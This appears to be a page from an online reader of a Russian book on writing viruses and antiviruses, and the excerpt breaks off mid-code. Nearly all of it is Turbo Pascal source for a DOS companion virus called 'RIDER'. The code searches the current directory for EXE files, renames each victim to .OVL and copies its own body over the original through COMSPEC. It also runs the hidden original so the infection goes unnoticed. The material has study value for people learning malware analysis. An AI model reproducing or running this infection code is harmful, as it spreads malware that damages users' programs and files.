Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 12

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ Danger 0 }

      { Attac speed Slow }

      { Effects No }

      { Length 4000 }

      { Language Pascal }

      { BodyStatus Packed }

      { Packer Pklite }

      {$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,

      High Heap Limit 0b }

      {Используются модули Dos и System (модуль System автоматически

      подключается к каждой программе при компиляции)}

      Uses Dos;

      Const

      Fail=’Cannot execute ’#13#10’Disk is write−protected’;

      {Расширения файлов, которые будем использовать}

      Ovr=’.OWL’;

      Ovl=’.OVL’;

      Exe=’.EXE’;

      Var

      DirInfo : SearchRec;

      Sr : SearchRec;

      Ch : Char;

      I : Byte;

      OurName : PathStr;

      OurProg : PathStr;

      Ren : File;

      CmdLine : ComStr;

      Victim : PathStr;

      VictimName : PathStr;

      {Процедура для проверки диска на Read Only}

      procedure CheckRO;

      begin

      Assign(Ren, #$FF);

      ReWrite(Ren);

      Erase(Ren);

      If IOResult <> 0 Then

      {Если диск защищен от записи, то ответ ’Access denied’}

      begin

      WriteLn(Fail);

      Halt(5);

      end;

      end;

      {Процедура прогонки оригинала}

      procedure ExecReal;

      begin

      {Находим оригинал}

      FindFirst(OurName+Ovl, AnyFile, DirInfo);

      If DosError <> 0 Then

      {Если не нашли}

      begin

      WriteLn(’Virus RIDER. Let’s go on riding!’);

      WriteLn(’I beg your pardon, your infected file cannot be executed.’);

      {Выход с DosError=Файл не найден}

      Halt(18);

      end;

      {Переименовываем программу в OVL}

      Assign(Ren, OurName+Exe);

      ReName(Ren, OurName+Ovr);

      {Переименовываем оверлей в EXE}

      Assign(Ren, OurName+Ovl);

      ReName(Ren, OurName+Exe);

      {И запускаем его}

      SwapVectors;

      Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);

      SwapVectors;

      {А теперь возвращаем все на место}

      Assign(Ren, OurName+Exe);

      ReName(Ren, OurName+Ovl);

      Assign(Ren, OurName+Ovr);

      ReName(Ren, OurName+Exe);

      end;

      {Процедура заражения}

      procedure Infect;

      begin

      {Переименовываем жертву в OVL}

      Assign(Ren, Victim);

      ReName(Ren, VictimName+Ovl);

      {Копируем тело вируса на место жертвы}

      SwapVectors;

      Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);

      SwapVectors;

      end;

      {Процедура поиска жертвы}

      procedure FindFile;

      begin

      {В текущем каталоге ищем EXE−файл}

      FindFirst(’*.EXE’, AnyFile, DirInfo);

      If DosError=0 Then

      {И если он найден}

      begin

      {Запоминаем имя жертвы}

      Victim:=DirInfo.Name;

      {Запоминаем имя без расширения}

      VictimName:=Copy(Victim, 1, Length(Victim)–4);

      {Ищем оверлей с тем же именем}

      FindFirst(VictimName+Ovl, AnyFile, СКАЧАТЬ